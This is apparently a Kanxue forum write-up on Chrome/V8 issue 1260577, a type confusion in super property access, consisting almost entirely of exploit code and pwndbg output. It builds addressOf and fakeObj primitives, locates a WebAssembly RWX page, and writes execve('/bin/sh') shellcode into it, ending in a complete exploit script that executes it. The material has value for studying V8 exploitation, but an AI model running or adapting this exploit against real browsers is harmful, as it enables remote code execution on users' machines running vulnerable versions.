本文为看雪论坛优秀文章
看雪论坛作者ID:Tokameine
受影响的Chrome最高版本为:95.0.4638.54
受影响的V8最高版本为:9.5.172.21
issue编号:1260577
import('./1.mjs').then((m1) => {
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
class C {
m() {
return super.x;
}
}
obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);
}
C.prototype.__proto__ = m1;
function trigger() {
let c = new C();
c.x0 = obj_prop_ut_fake;
let res = c.m();
return res;
}
for (let i = 0; i < 10; i++) {
trigger();
}
let evil = trigger();
%DebugPrint(evil);
});
DebugPrint: Smi: 0x20202021 (538976289)
a=[2.1]
b=[a];
arr = Array(0xf700);
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(arr);
DebugPrint: 0x54408049941: [JSArray]//第一次运行
DebugPrint: 0x5440804995d: [JSArray]
DebugPrint: 0x5440804996d: [JSArray]
DebugPrint: 0x54008049941: [JSArray]//第二次运行
DebugPrint: 0x5400804995d: [JSArray]
DebugPrint: 0x5400804996d: [JSArray]
DebugPrint: 0x3b0d08049941: [JSArray]//第三次运行
DebugPrint: 0x3b0d0804995d: [JSArray]
DebugPrint: 0x3b0d0804996d: [JSArray]
0x23200000000 0x2320014e000 r-xp 14e000 0 [anon_23200000]
0x2320014e000 0x23200180000 ---p 32000 0 [anon_2320014e]
0x23200180000 0x23200183000 rw-p 3000 0 [anon_23200180]
0x23200183000 0x23200184000 ---p 1000 0 [anon_23200183]
0x23200184000 0x2320019a000 r-xp 16000 0 [anon_23200184]
0x2320019a000 0x232001bf000 ---p 25000 0 [anon_2320019a]
0x232001bf000 0x23208000000 ---p 7e41000 0 [anon_232001bf]
0x23208000000 0x2320802a000 r--p 2a000 0 [anon_23208000]
0x2320802a000 0x23208040000 ---p 16000 0 [anon_2320802a]
0x23208040000 0x2320814d000 rw-p 10d000 0 [anon_23208040]
0x2320814d000 0x23208180000 ---p 33000 0 [anon_2320814d]
0x23208180000 0x23208183000 rw-p 3000 0 [anon_23208180]
0x23208183000 0x232081c0000 ---p 3d000 0 [anon_23208183]
0x232081c0000 0x2320833e000 rw-p 17e000 0 [anon_232081c0]
0x2320833e000 0x23300000000 ---p f7cc2000 0 [anon_2320833e]
%SystemBreak();
arr = Array(0xf700);
arr[0]=1;
%DebugPrint(arr);
%SystemBreak();
arr = Array(0xf700);
arr[0]=2;
%DebugPrint(arr);
%SystemBreak();
0x2f43081c0000 0x2f4308240000 rw-p 80000 0 [anon_2f43081c0]//第一个断点
0x2f4308240000 0x2f4400000000 ---p f7dc0000 0 [anon_2f4308240]
0x2f43081c0000 0x2f4308280000 rw-p c0000 0 [anon_2f43081c0]//第二个断点
0x2f4308280000 0x2f4400000000 ---p f7d80000 0 [anon_2f4308280]
0x2f43081c0000 0x2f43082c0000 rw-p 100000 0 [anon_2f43081c0]//第三个断点
0x2f43082c0000 0x2f4400000000 ---p f7d40000 0 [anon_2f43082c0]
pwndbg> x/10gx 0x2f43081c0000
0x2f43081c0000: 0x0000000000040000 0x0000000000000004
0x2f43081c0010: 0x000055775c5d9e68 0x00002f43081c2118
0x2f43081c0020: 0x00002f4308200000 0x000000000003dee8
0x2f43081c0030: 0x0000000000000000 0x0000000000002118
0x2f43081c0040: 0x000055775c65c210 0x000055775c5cbeb0
pwndbg> x/10gx 0x2f43081c0000+0x40000
0x2f4308200000: 0x0000000000040000 0x0000000000000004
0x2f4308200010: 0x000055775c5d9e68 0x00002f4308202118
0x2f4308200020: 0x00002f4308240000 0x000000000003dee8
0x2f4308200030: 0x0000000000000000 0x0000000000002118
0x2f4308200040: 0x000055775c65c870 0x000055775c5cbeb0
pwndbg> x/10gx 0x2f43081c0000+0x40000+0x40000
0x2f4308240000: 0x0000000000040000 0x0000000000000032
0x2f4308240010: 0x000055775c5d9e68 0x00002f4308242118
0x2f4308240020: 0x00002f430827fd20 0x000000000003dc08
0x2f4308240030: 0x0000000000000000 0x0000000000002118
0x2f4308240040: 0x000055775c65cd50 0x000055775c5cbeb0
pwndbg> job 0x2f430804999d
- elements: 0x2f4308242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
- length: 63232
- properties: 0x2f430800222d <FixedArray[0]>
}
- elements: 0x2f4308242119 <FixedArray[63232]> {
0: 1
1-63231: 0x2f430800242d <the_hole>
}
pwndbg> job 0x2f43080499ad
- elements: 0x2f4308282119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
- length: 63232
- properties: 0x2f430800222d <FixedArray[0]>
}
- elements: 0x2f4308282119 <FixedArray[63232]> {
0: 2
1-63231: 0x2f430800242d <the_hole>
}
···
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = u2d(0x082c2121, 0);
}
···
var demo_array=new Array(0xf000);
demo_ele_addr=0x82c2120;
fake_buf=demo_ele_addr+0x200+8;
array_map0 = itof(0x1604040408002119n);
double_array_map_addr=demo_ele_addr+0x100;
double_array_map_value=itof(0x0a0007ff11000834n);
demo_array[0x100/8]=array_map0;
demo_array[0x108/8]=double_array_map_value;
obj_array_map_addr=demo_ele_addr+0x150;
obj_array_map_value=itof(0x0a0007ff09000834n);
demo_array[0x150/8]=array_map0;
demo_array[0x158/8]=obj_array_map_value;
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
demo_array[0x008/8]=u2d(fake_buf+1,0x2);
demo_ele_addr=0x82c2120;
fake_buf=demo_ele_addr+0x200+8;
array_map0 = itof(0x1604040408002119n);
obj_array_map_value=itof(0x0a0007ff09000834n);
obj_array_map_addr=demo_ele_addr+0x150;
demo_array[0x150/8]=array_map0;
demo_array[0x158/8]=obj_array_map_value;
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
demo_array[0x008/8]=u2d(fake_buf+1,0x2);
*(demo_array) = obj_array_map_addr+1;
*(demo_array+4) = 0;
*(demo_array+8) = fake_buf+1;
*(demo_array+12) = 2;
*(obj_array_map_addr) = 0x0a0007ff09000834;
function addressOf(target_var)
{
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
evil[0]=target_var;
demo_array[0x000/8]=u2d(double_array_map_addr+1,0);
let addr=ftoi(evil[0])-1n;
console.log("[*] addr: 0x"+hex(addr));
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
return addr;
}
function fakeObj(target_addr)
{
demo_array[0x000/8]=u2d(double_array_map_addr+1,0);
console.log("[*] set addr: 0x"+hex(target_addr));
//evil[0]=itof(target_addr+1n);
demo_array[0x210/8]=itof(target_addr+1n);
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
let vul=evil[0];
demo_array[0x000/8]=u2d(double_array_map_addr+1,0);
return vul;
}
var fake_array = [
u2d(double_array_map_addr+1, 0),
itof(0x4141414141414141n)
];
var fake_ob=addressOf(fake_array);
fake_addr=fake_ob+0x20n+4n;
var t=fakeObj(fake_addr);
var wasmins=addressOf(wasmInstance);
fake_array[1]=itof(wasmins+0x68n+1n-8n-8n);
rwx_addr=ftoi(t[0]);
console.log("[*] value: 0x"+hex(ftoi(t[0])));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
function copy_shellcode(shellcode,addr)
{
var data_buf=new ArrayBuffer(shellcode.length*8);
var data_view=new DataView(data_buf);
var back_sotre_addr=addressOf(data_buf)+0x18n;
fake_array[1]=itof(back_sotre_addr-3n);
t[0]=itof(addr);
for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,itof(shellcode[i]),true);
}
copy_shellcode(shellcode,rwx_addr);
import('./2.mjs').then((m1) => {
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
class C {
m() {
return super.x;
}
}
obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = u2d(0x082c2121, 0);
}
C.prototype.__proto__ = m1;
function trigger() {
let c = new C();
c.x0 = obj_prop_ut_fake;
let res = c.m();
return res;
}
for (let i = 0; i < 10; i++) {
trigger();
}
let evil = trigger();
var demo_array=new Array(0xf000);
var demo_array=new Array(0xf000);
demo_ele_addr=0x82c2120;
fake_buf=demo_ele_addr+0x200+8;
array_map0 = itof(0x1604040408002119n);
double_array_map_addr=demo_ele_addr+0x100;
double_array_map_value=itof(0x0a0007ff11000834n);
demo_array[0x100/8]=array_map0;
demo_array[0x108/8]=double_array_map_value;
obj_array_map_addr=demo_ele_addr+0x150;
obj_array_map_value=itof(0x0a0007ff09000834n);
demo_array[0x150/8]=array_map0;
demo_array[0x158/8]=obj_array_map_value;
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
demo_array[0x008/8]=u2d(fake_buf+1,0x2);
function addressOf(target_var)
{
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
evil[0]=target_var;
demo_array[0x000/8]=u2d(double_array_map_addr+1,0);
let addr=ftoi(evil[0])-1n;
console.log("[*] addr: 0x"+hex(addr));
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
return addr;
}
var fake_array = [
u2d(double_array_map_addr+1, 0),
itof(0x4141414141414141n)
];
function fakeObj(target_addr)
{
demo_array[0x000/8]=u2d(double_array_map_addr+1,0);
console.log("[*] set addr: 0x"+hex(target_addr));
demo_array[0x210/8]=itof(target_addr+1n);
demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);
let vul=evil[0];
demo_array[0x000/8]=u2d(double_array_map_addr+1,0);
return vul;
}
var wasmins=addressOf(wasmInstance);
var fake_ob=addressOf(fake_array);
fake_addr=fake_ob+0x20n+4n;
var t=fakeObj(fake_addr);
console.log("[*] addr: 0x"+hex(fake_addr));
fake_array[1]=itof(wasmins+0x68n+1n-8n-8n);
rwx_addr=ftoi(t[0]);
console.log("[*] value: 0x"+hex(ftoi(t[0])));
function copy_shellcode(shellcode,addr)
{
var data_buf=new ArrayBuffer(shellcode.length*8);
var data_view=new DataView(data_buf);
var back_sotre_addr=addressOf(data_buf)+0x18n;
fake_array[1]=itof(back_sotre_addr-3n);
t[0]=itof(addr);
for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,itof(shellcode[i]),true);
}
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
copy_shellcode(shellcode,rwx_addr);
f();
});
看雪ID:Tokameine
https://bbs.pediy.com/user-home-924548.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!